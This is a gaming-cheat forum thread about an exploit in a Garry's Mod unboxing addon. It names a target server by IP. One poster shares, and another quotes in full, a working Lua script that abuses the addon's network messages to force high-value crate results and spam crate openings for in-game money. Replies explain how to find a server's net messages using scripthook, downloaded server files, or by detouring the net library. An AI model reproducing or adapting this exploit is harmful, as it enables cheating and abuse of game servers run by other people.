Thread: !unbox Exploit

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  1. #1
    imlivein5's Avatar
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    Angry !unbox Exploit

    I was playing with some kid on a gmod server called AsterixRP ip: 63.251.20.33:27015 and I looked in chat and saw Player ***** Unboxed $50000! over and over again making like 1mill a second anyone know this exploit or could point me to where I could find this?
    Last edited by Hunter; 01-09-2016 at 12:26 PM. Reason: Messed up

  2. #2
    yoasl's Avatar
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    Quote Originally Posted by c0deine View Post
    its spelled asterisk not asterix

    asterisk:
    *
    asterix:
    [IMG]https://www.asteri*****m/asterix-de-a-a-z/les-personnages/perso/g09b.gif[/IMG]

    for more information:
    An asterisk (*; Late Latin: asteriscus, from Greek: ἀστερίσκος, asteriskos, "little star")[1] is a typographical symbol or glyph. It is so called because it resembles a conventional image of a star. Computer scientists and mathematicians often vocalize it as star (as, for example, in the A* search algorithm or C*-algebra). In English, an asterisk is usually five-pointed in sans-serif typefaces, six-pointed in serif typefaces,[citation needed] and six- or eight-pointed when handwritten. It can be used as censorship. It is also used on the internet to correct one's spelling, in which case it appears after the correct word.

    The asterisk is derived from the need of the printers of family trees in feudal times for a symbol to indicate date of birth. The original shape was seven-armed,[citation needed] each arm like a teardrop shooting from the center.

    In computer science, the asterisk is commonly used as a wildcard character, or to denote pointers, repetition, or multiplication.
    This contributed how to the thread?

    As for OP, it may be a server backdoor. or a very private hack. OR he is friends with the owner. Regardless, its one of the three.

  3. #3
    idiot guy's Avatar
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    It's an exploit with "blue's unboxing" or smth.

  4. #4
    ShitFucks's Avatar
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    Yeah I released this a while ago. If it doesn't work for the server you're on just update the net messages and then you'll be good to go. It's coded stupidly but it works.

    Code:
    net.Receive("Spin4Jesus" , function()
    
    	local data = net.ReadTable()
    	data = data
    	PrintTable(data)
    	if REKT == 1 then
    		table.foreach(data, someFunctionMoney)
    	elseif REKT == 2 then
    		table.foreach(data, ShowMeShit)
    	else
    		Spin(data)
    	end
    end)
    
    	net.Start("WeDoneSon")
    		net.WriteInt(65 , 16)
    	net.SendToServer()
    
    
    -----------------------------------------
    function ShowMeShit(k,v)
    	print(k)
    	print(v.itemName)
    	print(v.itemChance)
    	print("--------------")
    end
    -----------------------------------------
    function ChooseItem(argStr)
    	net.Start("WeDoneSon")
    		net.WriteInt(argStr[1] , 16)
    	net.SendToServer()
    end
    -----------------------------------------
    function someFunctionMoney(k,v)
    	if v.moneyAmount == nil then
    		print("NIL")
    	elseif v.itemChance <= 100 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 1000000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 100000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 50000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 25000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 7500 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.itemChance <= 300 and NOMORE != nil then
    		NOMORE = num
    	elseif k == 99 and NOMORE != nil then
    		net.Start("WeDoneSon")
    			net.WriteInt(num , 16)
    		net.SendToServer()
    	else
    		print("----------")
    		print("END")
    		print("NOMORE")
    		print(k)
    		print("----------")
    	end
    end
    
    concommand.Add("CCrateMeMoney", function()
    		REKT = 1
    		net.Start("OpenCrate")
    		net.SendToServer()
    end)
    
    concommand.Add("ChooseItem", function(cmd, args, argStr)
    		ChooseItem(argStr)
    end)
    
    concommand.Add("TellMeSpin", function()
    	REKT = 2
    		net.Start("OpenCrate")
    		net.SendToServer()
    end)
    
    concommand.Add("LCrateMeMoney", function()
    	REKT = 0
    		net.Start("OpenCrate")
    		net.SendToServer()
    end)
    	
    concommand.Add("CCrateOthersMoney", function()
    	REKT = 1
    		net.Start("BuyKey")
    		net.SendToServer()
    		net.Start("BuyCrate")
    		net.SendToServer()
    		net.Start("OpenGiftCrate")
    		net.SendToServer()
    end)
    
    concommand.Add("CCrateOthersMoney_SPAM", function()
    	timer.Create("Rekto", 1, 0, function()
    		RunConsoleCommand("CCrateOthersMoney")
    	end)
    end)
    
    concommand.Add("CCrateMeMoney_SPAM", function()
    	timer.Create("RektoME", 1, 0, function()
    		RunConsoleCommand("CCrateMeMoney")
    		net.Start("BuyKey")
    		net.SendToServer()
    		net.Start("BuyCrate")
    		net.SendToServer()
    	end)
    end)
    
    concommand.Add("CCrateOthersMoney_STOP", function()
    	timer.Remove("Rekto")
    end)
    
    concommand.Add("CCrateMeMoney_STOP", function()
    	timer.Remove("RektoME")
    end)
    
    
    concommand.Add("LCrateOthersMoney", function()
    	REKT = 0
    		net.Start("BuyKey")
    		net.SendToServer()
    		net.Start("BuyCrate")
    		net.SendToServer()
    		net.Start("OpenGiftCrate")
    		net.SendToServer()
    end)

  5. The Following User Says Thank You to ShitFucks For This Useful Post:

    TwistieFresh (07-04-2016)

  6. #5
    rockran's Avatar
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    Why would you make this more public than it needs to be?
    Next thing you know kids are exploiting blue's unboxing calling themself hackers.

  7. #6
    yoasl's Avatar
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    Quote Originally Posted by ShitFucks View Post
    Yeah I released this a while ago. If it doesn't work for the server you're on just update the net messages and then you'll be good to go. It's coded stupidly but it works.

    Code:
    net.Receive("Spin4Jesus" , function()
    
    	local data = net.ReadTable()
    	data = data
    	PrintTable(data)
    	if REKT == 1 then
    		table.foreach(data, someFunctionMoney)
    	elseif REKT == 2 then
    		table.foreach(data, ShowMeShit)
    	else
    		Spin(data)
    	end
    end)
    
    	net.Start("WeDoneSon")
    		net.WriteInt(65 , 16)
    	net.SendToServer()
    
    
    -----------------------------------------
    function ShowMeShit(k,v)
    	print(k)
    	print(v.itemName)
    	print(v.itemChance)
    	print("--------------")
    end
    -----------------------------------------
    function ChooseItem(argStr)
    	net.Start("WeDoneSon")
    		net.WriteInt(argStr[1] , 16)
    	net.SendToServer()
    end
    -----------------------------------------
    function someFunctionMoney(k,v)
    	if v.moneyAmount == nil then
    		print("NIL")
    	elseif v.itemChance <= 100 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 1000000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 100000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 50000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 25000 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.moneyAmount >= 7500 then
    		net.Start("WeDoneSon")
    			net.WriteInt(k , 16)
    		net.SendToServer()
    	elseif v.itemChance <= 300 and NOMORE != nil then
    		NOMORE = num
    	elseif k == 99 and NOMORE != nil then
    		net.Start("WeDoneSon")
    			net.WriteInt(num , 16)
    		net.SendToServer()
    	else
    		print("----------")
    		print("END")
    		print("NOMORE")
    		print(k)
    		print("----------")
    	end
    end
    
    concommand.Add("CCrateMeMoney", function()
    		REKT = 1
    		net.Start("OpenCrate")
    		net.SendToServer()
    end)
    
    concommand.Add("ChooseItem", function(cmd, args, argStr)
    		ChooseItem(argStr)
    end)
    
    concommand.Add("TellMeSpin", function()
    	REKT = 2
    		net.Start("OpenCrate")
    		net.SendToServer()
    end)
    
    concommand.Add("LCrateMeMoney", function()
    	REKT = 0
    		net.Start("OpenCrate")
    		net.SendToServer()
    end)
    	
    concommand.Add("CCrateOthersMoney", function()
    	REKT = 1
    		net.Start("BuyKey")
    		net.SendToServer()
    		net.Start("BuyCrate")
    		net.SendToServer()
    		net.Start("OpenGiftCrate")
    		net.SendToServer()
    end)
    
    concommand.Add("CCrateOthersMoney_SPAM", function()
    	timer.Create("Rekto", 1, 0, function()
    		RunConsoleCommand("CCrateOthersMoney")
    	end)
    end)
    
    concommand.Add("CCrateMeMoney_SPAM", function()
    	timer.Create("RektoME", 1, 0, function()
    		RunConsoleCommand("CCrateMeMoney")
    		net.Start("BuyKey")
    		net.SendToServer()
    		net.Start("BuyCrate")
    		net.SendToServer()
    	end)
    end)
    
    concommand.Add("CCrateOthersMoney_STOP", function()
    	timer.Remove("Rekto")
    end)
    
    concommand.Add("CCrateMeMoney_STOP", function()
    	timer.Remove("RektoME")
    end)
    
    
    concommand.Add("LCrateOthersMoney", function()
    	REKT = 0
    		net.Start("BuyKey")
    		net.SendToServer()
    		net.Start("BuyCrate")
    		net.SendToServer()
    		net.Start("OpenGiftCrate")
    		net.SendToServer()
    end)
    How do we know the net messages?

  8. #7
    c0deine's Avatar
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    Quote Originally Posted by yoasl View Post
    How do we know the net messages?
    you could process lua files the server sends you and parse through it with regex or some shit to find instances of net.Start/Receive and then look for possible exploits

  9. #8
    yoasl's Avatar
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    Quote Originally Posted by c0deine View Post
    you could process lua files the server sends you and parse through it with regex or some shit to find instances of net.Start/Receive and then look for possible exploits
    Can you repeat that in English? xD I'm new to this

  10. #9
    ShitFucks's Avatar
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    Quote Originally Posted by yoasl View Post
    Can you repeat that in English? xD I'm new to this
    Get scripthook and download the server files then search through the unboxing addon and check the net messages.

  11. #10
    yoasl's Avatar
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    Quote Originally Posted by ShitFucks View Post
    Get scripthook and download the server files then search through the unboxing addon and check the net messages.
    Where do I get that? And how do I get the server files? xD

    EDIT: nvm. just used the code and got a billion dollars xD. Thanks
    Last edited by yoasl; 10-17-2015 at 09:01 PM. Reason: Im retarded

  12. #11
    c0deine's Avatar
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    Quote Originally Posted by ShitFucks View Post
    Get scripthook and download the server files then search through the unboxing addon and check the net messages.
    u could also detour the whole net library
    theres a few ways to do this but ill leave that up to you to decide whats best

  13. #12
    D3M0L1T10N's Avatar
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    Quote Originally Posted by c0deine View Post
    u could also detour the whole net library
    theres a few ways to do this but ill leave that up to you to decide whats best
    yeah that's a good idea
    8:53 PM - Xenomorphic 1 hr 7 min cooldown: So is MPGH only exist so people can c+p from ************* and troll the gmod section?

    [IMG]https://i739.photobucke*****m/albums/xx38/jorroa5990/flatexch2_zpsec96a7e2.gif[/IMG]

  14. #13
    c0deine's Avatar
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    Quote Originally Posted by D3M0L1T10N View Post
    yeah that's a good idea
    net logger is a neat cheat feature
    until someone makes it & gives it out, it gets leaked, and pasted into every hack

  15. #14
    pcdriza's Avatar
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    Quote Originally Posted by c0deine View Post
    net logger is a neat cheat feature
    until someone makes it & gives it out, it gets leaked, and pasted into every hack
    i have a netlogger
    should i release it?

  16. #15
    c0deine's Avatar
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    Quote Originally Posted by pcdriza View Post
    i have a netlogger
    should i release it?
    it's one of those things that are more of a useful novelty, rather than a amazing hack feature. if you keep it to yourself, its worth more.

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